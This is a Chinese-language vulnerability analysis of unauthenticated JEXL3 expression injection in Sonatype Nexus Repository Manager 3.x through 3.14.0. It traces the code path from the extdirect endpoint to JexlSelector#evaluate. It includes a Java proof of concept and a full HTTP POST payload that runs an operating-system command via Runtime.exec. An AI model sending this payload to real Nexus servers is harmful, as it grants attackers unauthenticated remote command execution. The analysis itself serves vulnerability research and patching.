Sonatype Nexus Repository Manager 3的plugins/nexus-coreui-plugin/src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy
接口未进行权限验证,该接口可以在未授权访问时发送精心构造的恶意JSON
数据,造成JEXL3
表达式注入进而远程执行任意命令。
影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.14.0
修复版本:Nexus Repository Manager OSS/Pro 3.15.0
JEXL(Java EXpression Language),这是一种简单的表达语言,JEXL基于对JSTL表达式语言进行一些扩展从而实现一种表达式语言,最初受Apache Velocity和JavaServer Pages标准标记库版本1.1(JSTL)和JavaServer Pages 2.0(JSP)中定义的表达语言的启发。
选择Nexus-Repository-Manager3中使用的JEXL3,添加pom.xml
依赖:
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-jexl3</artifactId> <version>3.0</version> </dependency>
使用的基本步骤:
伪代码:
// Create a JexlEngine (could reuse one instead) JexlEngine jexl = new JexlBuilder().create(); // Create an expression object equivalent to 'car.getEngine().checkStatus()': String jexlExp = "car.engine.checkStatus()"; Expression e = jexl.createExpression( jexlExp ); // The car we have to handle coming as an argument... Car car = theCarThatWeHandle; // Create a context and add data JexlContext jc = new MapContext(); jc.set("car", car ); // Now evaluate the expression, getting the result Object o = e.evaluate(jc);
实际代码:
Foo.java
public static class Foo { public String getFoo() { return "This is from getFoo()"; } public String get(String arg) { return "This is the property " + arg; } public String convert(long i) { return "The value is : " + i; } }
Foo类包含三个简单方法,包含有参数和无参数方法。
TestCase.java
package Nexus; import org.apache.commons.jexl3.*; public class TestCase { public static void main(String[] args) { JexlEngine jexl = new JexlBuilder().create(); JexlContext jc = new MapContext(); Foo foo = new Foo(); Integer number = new Integer(9999); jc.set("foo", foo); jc.set("number", number); JexlExpression e = jexl.createExpression("foo.getFoo()"); Object o = e.evaluate(jc); System.out.println("value returned by the method getFoo() is : " + o + " | " + foo.getFoo()); e = jexl.createExpression("foo.convert(1)"); o = e.evaluate(jc); System.out.println("value of " + e.getParsedText() + " is : " + o + " | " + foo.convert(1)); e = jexl.createExpression("foo.convert(number)"); o = e.evaluate(jc); System.out.println("value of " + e.getParsedText() + " is : " + o + " | " + foo.convert(9999)); e = jexl.createExpression("foo.bar"); o = e.evaluate(jc); System.out.println("value returned for the property 'bar' is : " + o + " | " + foo.get("bar")); } public static class Foo { public String getFoo() { return "This is from getFoo()"; } public String get(String arg) { return "This is the property " + arg; } public String convert(long i) { return "The value is : " + i; } } }
首先是new JexlBuilder().create()
创建引擎对象,接着new MapContext()
创建表达式Context对象数组,接着创建Integer
对象和Foo
对象通过set
放入数组中。
第一个例子createExpression("foo.getFoo()")
,创建引擎创建表达式对象,然后通过evaluate
执行计算。表达式字符串存在foo
,因此会到表达式Context数组中匹配到Foo
对象,并执行无参数的getFoo()
方法。
第二个例子createExpression("foo.convert(1)")
,指定传入参数1
并调用convert()
,结果为1
第三个例子createExpression("foo.convert(number)")
,到Context数组中寻找传入参数的number
,并调用convert()
,结果为9999
运行结果:
value returned by the method getFoo() is : This is from getFoo() | This is from getFoo() value of foo.convert(1) is : The value is : 1 | The value is : 1 value of foo.convert(number) is : The value is : 9999 | The value is : 9999 value returned for the property 'bar' is : This is the property bar | This is the property bar
精心构造恶意的表达式,表达式对象执行时能够完成任意命令执行,POC如下:
package Nexus; import org.apache.commons.jexl3.*; public class JEXLTEST { public static void main(String[] args) { String Exp = "233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/rai4over')"; JexlEngine engine = new JexlBuilder().create(); JexlExpression Expression = engine.createExpression(Exp); JexlContext Context = new MapContext(); //Context.set("foo", 999); Object rs = Expression.evaluate(Context); System.out.println(rs); } }
org.apache.commons.jexl3.JexlBuilder#create
new JexlBuilder().create()
首先创建JexlBuilder
类对象,然后调用create
方法创建并返回Engine
对象
org.apache.commons.jexl3.internal.Engine#Engine(org.apache.commons.jexl3.JexlBuilder)
Engine
对象使用构造函数进行初始化,并且Engine
类继承JexlEngine
类,返回上层执行engine.createExpression(Exp)
。
org.apache.commons.jexl3.JexlExpression
expression
必须是有效的JEXL表达式字符串,调用父类JexlEngine
的createExpression
方法。
org.apache.commons.jexl3.internal.Engine#createExpression
使用trimSource
去掉表达式的空白,然后传入parse
函数
org.apache.commons.jexl3.internal.Engine#parse
然后调用this.parser.parse()
进行解析表达式,this.parser
对象构造函数
org/apache/commons/jexl3/internal/Engine.java:91
org.apache.commons.jexl3.parser.Parser#Parser(java.io.Reader)
继续跟进parse
对象的parse()
org.apache.commons.jexl3.parser.Parser#parse
org.apache.commons.jexl3.parser.JJTParserState#closeNodeScope(org.apache.commons.jexl3.parser.Node, boolean)
解析表达式的过程很长,通过节点node
进行解析,解析的调用栈为:
closeNodeScope:112, JJTParserState (org.apache.commons.jexl3.parser) Arguments:3044, Parser (org.apache.commons.jexl3.parser) MethodCall:3565, Parser (org.apache.commons.jexl3.parser) MemberExpression:3604, Parser (org.apache.commons.jexl3.parser) ValueExpression:3634, Parser (org.apache.commons.jexl3.parser) UnaryExpression:2367, Parser (org.apache.commons.jexl3.parser) MultiplicativeExpression:2080, Parser (org.apache.commons.jexl3.parser) AdditiveExpression:2000, Parser (org.apache.commons.jexl3.parser) RelationalExpression:1661, Parser (org.apache.commons.jexl3.parser) EqualityExpression:1549, Parser (org.apache.commons.jexl3.parser) AndExpression:1505, Parser (org.apache.commons.jexl3.parser) ExclusiveOrExpression:1461, Parser (org.apache.commons.jexl3.parser) InclusiveOrExpression:1417, Parser (org.apache.commons.jexl3.parser) ConditionalAndExpression:1373, Parser (org.apache.commons.jexl3.parser) ConditionalOrExpression:1329, Parser (org.apache.commons.jexl3.parser) ConditionalExpression:1247, Parser (org.apache.commons.jexl3.parser) AssignmentExpression:947, Parser (org.apache.commons.jexl3.parser) Expression:943, Parser (org.apache.commons.jexl3.parser) JexlExpression:155, Parser (org.apache.commons.jexl3.parser) parse:27, Parser (org.apache.commons.jexl3.parser) parse:684, Engine (org.apache.commons.jexl3.internal) createExpression:371, Engine (org.apache.commons.jexl3.internal) createExpression:59, Engine (org.apache.commons.jexl3.internal) createExpression:289, JexlEngine (org.apache.commons.jexl3) main:13, JEXLTEST (Nexus)
层层返回到createExpression
函数
org/apache/commons/jexl3/internal/Engine.java:371
ASTJexlScript
对象通过children
成员层级关系存储解析出来的node
节点,并传入Script
构造函数。
org.apache.commons.jexl3.internal.Script#Script
分别放入Script
类的各个成员中,最终返回Script
类对象到main
函数。
Expression类型为Script
,且继续传入表达式Context对象调用evaluate
方法
org.apache.commons.jexl3.internal.Script#evaluate
传入包含全部层级关系的node
进入interpreter.interpret
进行解析
org.apache.commons.jexl3.internal.Interpreter#interpret
后面就是层层解析node
,最后通过反射完成命令执行,调用栈如下:
exec:347, Runtime (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:93, MethodExecutor (org.apache.commons.jexl3.internal.introspection) call:1665, Interpreter (org.apache.commons.jexl3.internal) visit:1409, Interpreter (org.apache.commons.jexl3.internal) jjtAccept:18, ASTMethodNode (org.apache.commons.jexl3.parser) visit:1133, Interpreter (org.apache.commons.jexl3.internal) jjtAccept:18, ASTReference (org.apache.commons.jexl3.parser) interpret:201, Interpreter (org.apache.commons.jexl3.internal) evaluate:186, Script (org.apache.commons.jexl3.internal) main:20, JEXLTEST (Nexus)
拉取nexus3 docker
docker pull sonatype/nexus3:3.14.0
运行docker容器
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.14.0
8081
为Web管理端口映射,5050
为JDWP调试端口映射,nexus-data
为数据目录,INSTALL4J_ADD_VM_PARAMS
为调试参数。
Github下载 Nexus 源码:
git clone https://github.com/sonatype/nexus-public.git
并且切换至 3.14.0-04
分支:
git checkout -b release-3.14.0-04 remotes/origin/release-3.14.0-04
IDEA配置远程调试信息
成功后可以在org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter
进行断点测试。
Payload:
POST /service/extdirect HTTP/1.1 Host: 127.0.0.1:8081 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: */* Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 825 Connection: close { "action":"coreui_Component", "method":"previewAssets", "data":[ { "page":1, "start":0, "limit":50, "sort":[ { "property":"name", "direction":"ASC" }], "filter": [ { "property":"repositoryName", "value":"*" }, { "property":"expression", "value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/rai4over')" }, { "property":"type", "value":"jexl" }] }], "type":"rpc", "tid":8 }
查看Servlet Filter配置:
src/main/resources/overlay/etc/jetty/nexus-web.xml
com/softwarementors/extjs/djn/router/dispatcher/DispatcherBase.java:63
解析JSON后进行调度,调用栈如下:
dispatch:63, DispatcherBase (com.softwarementors.extjs.djn.router.dispatcher) dispatchStandardMethod:73, StandardRequestProcessorBase (com.softwarementors.extjs.djn.router.processor.standard) processIndividualRequest:502, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json) processIndividualRequestsInThisThread:150, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json) process:133, JsonRequestProcessor (com.softwarementors.extjs.djn.router.processor.standard.json) processJsonRequest:83, RequestRouter (com.softwarementors.extjs.djn.router) processRequest:632, DirectJNgineServlet (com.softwarementors.extjs.djn.servlet) doPost:595, DirectJNgineServlet (com.softwarementors.extjs.djn.servlet) doPost:155, ExtDirectServlet (org.sonatype.nexus.extdirect.internal) service:707, HttpServlet (javax.servlet.http) service:790, HttpServlet (javax.servlet.http) doServiceImpl:286, ServletDefinition (com.google.inject.servlet) doService:276, ServletDefinition (com.google.inject.servlet) service:181, ServletDefinition (com.google.inject.servlet) service:71, DynamicServletPipeline (com.google.inject.servlet) doFilter:85, FilterChainInvocation (com.google.inject.servlet) doFilter:112, OncePerRequestFilter (org.apache.shiro.web.servlet) doFilter:82, FilterChainInvocation (com.google.inject.servlet) doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet) executeChain:108, AdviceFilter (org.apache.shiro.web.servlet) doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet) doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet) doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet) executeChain:108, AdviceFilter (org.apache.shiro.web.servlet) doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet) doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet) doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet) executeChain:108, AdviceFilter (org.apache.shiro.web.servlet) doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet) doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet) doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet) executeChain:449, AbstractShiroFilter (org.apache.shiro.web.servlet) executeChain:85, SecurityFilter (org.sonatype.nexus.security) call:365, AbstractShiroFilter$1 (org.apache.shiro.web.servlet) doCall:90, SubjectCallable (org.apache.shiro.subject.support) call:83, SubjectCallable (org.apache.shiro.subject.support) execute:383, DelegatingSubject (org.apache.shiro.subject.support) doFilterInternal:362, AbstractShiroFilter (org.apache.shiro.web.servlet) doFilterInternal:101, SecurityFilter (org.sonatype.nexus.security) doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet) doFilter:82, FilterChainInvocation (com.google.inject.servlet) doFilter:108, LicensingRedirectFilter (com.sonatype.nexus.licensing.internal) doFilter:82, FilterChainInvocation (com.google.inject.servlet) doFilter:97, AbstractInstrumentedFilter (com.codahale.metrics.servlet) doFilter:82, FilterChainInvocation (com.google.inject.servlet) doFilter:68, ErrorPageFilter (org.sonatype.nexus.internal.web) doFilter:82, FilterChainInvocation (com.google.inject.servlet) doFilter:101, EnvironmentFilter (org.sonatype.nexus.internal.web) doFilter:82, FilterChainInvocation (com.google.inject.servlet) doFilter:98, HeaderPatternFilter (org.sonatype.nexus.internal.web) doFilter:82, FilterChainInvocation (com.google.inject.servlet) dispatch:104, DynamicFilterPipeline (com.google.inject.servlet) doFilter:135, GuiceFilter (com.google.inject.servlet) doFilter:73, DelegatingFilter (org.sonatype.nexus.bootstrap.osgi) doFilter:1634, ServletHandler$CachedChain (org.eclipse.jetty.servlet) doHandle:533, ServletHandler (org.eclipse.jetty.servlet) handle:146, ScopedHandler (org.eclipse.jetty.server.handler) handle:548, SecurityHandler (org.eclipse.jetty.security) handle:132, HandlerWrapper (org.eclipse.jetty.server.handler) nextHandle:257, ScopedHandler (org.eclipse.jetty.server.handler) doHandle:1595, SessionHandler (org.eclipse.jetty.server.session) nextHandle:255, ScopedHandler (org.eclipse.jetty.server.handler) doHandle:1317, ContextHandler (org.eclipse.jetty.server.handler) nextScope:203, ScopedHandler (org.eclipse.jetty.server.handler) doScope:473, ServletHandler (org.eclipse.jetty.servlet) doScope:1564, SessionHandler (org.eclipse.jetty.server.session) nextScope:201, ScopedHandler (org.eclipse.jetty.server.handler) doScope:1219, ContextHandler (org.eclipse.jetty.server.handler) handle:144, ScopedHandler (org.eclipse.jetty.server.handler) handle:132, HandlerWrapper (org.eclipse.jetty.server.handler) handle:175, InstrumentedHandler (com.codahale.metrics.jetty9) handle:126, HandlerCollection (org.eclipse.jetty.server.handler) handle:132, HandlerWrapper (org.eclipse.jetty.server.handler) handle:531, Server (org.eclipse.jetty.server) handle:352, HttpChannel (org.eclipse.jetty.server) onFillable:260, HttpConnection (org.eclipse.jetty.server) succeeded:281, AbstractConnection$ReadCallback (org.eclipse.jetty.io) fillable:102, FillInterest (org.eclipse.jetty.io) run:118, ChannelEndPoint$2 (org.eclipse.jetty.io) runTask:333, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy) doProduce:310, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy) tryProduce:168, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy) run:126, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy) run:366, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread) runJob:762, QueuedThreadPool (org.eclipse.jetty.util.thread) run:680, QueuedThreadPool$2 (org.eclipse.jetty.util.thread) run:748, Thread (java.lang)
调度后进入关键的PagedResponse<AssetXO> previewAssets
org.sonatype.nexus.coreui.ComponentComponent#previewAssets
可以发现可以未授权访问,parameters.getFilter
获取type
、expression
等参数,根据type
进入对应分支调用jexlExpressionValidator.validate
函数
org.sonatype.nexus.selector.JexlExpressionValidator#validate
继续将恶意表达式字符串传入JexlSelector
构造函数
org.sonatype.nexus.selector.JexlSelector#JexlSelector
恶意表达式字符串创建表达式对象并存入this.expression
成员,层层返回后,调用接着将参数传入browseService.previewAssets
org.sonatype.nexus.repository.browse.internal.BrowseServiceImpl#previewAssets
继续跟踪countAssets
接口
org.sonatype.nexus.repository.storage.StorageTxImpl#countAssets(java.lang.String, java.util.Map<java.lang.String,java.lang.Object>, java.lang.Iterable<org.sonatype.nexus.repository.Repository>, java.lang.String)
org.sonatype.nexus.repository.storage.MetadataNodeEntityAdapter#countByQuery
调用栈很长,直接跳到最关键的位置
org.sonatype.nexus.internal.selector.SelectorManagerImpl#evaluate
selectorConfiguration
作为参数创建Selector
对象,然后调用evaluate
函数
org.sonatype.nexus.selector.JexlSelector#evaluate
最终的表达式注入点,执行了上方创建的恶意表达式对象this.expression
,完成任意命令执行。
https://www.anquanke.com/post/id/202867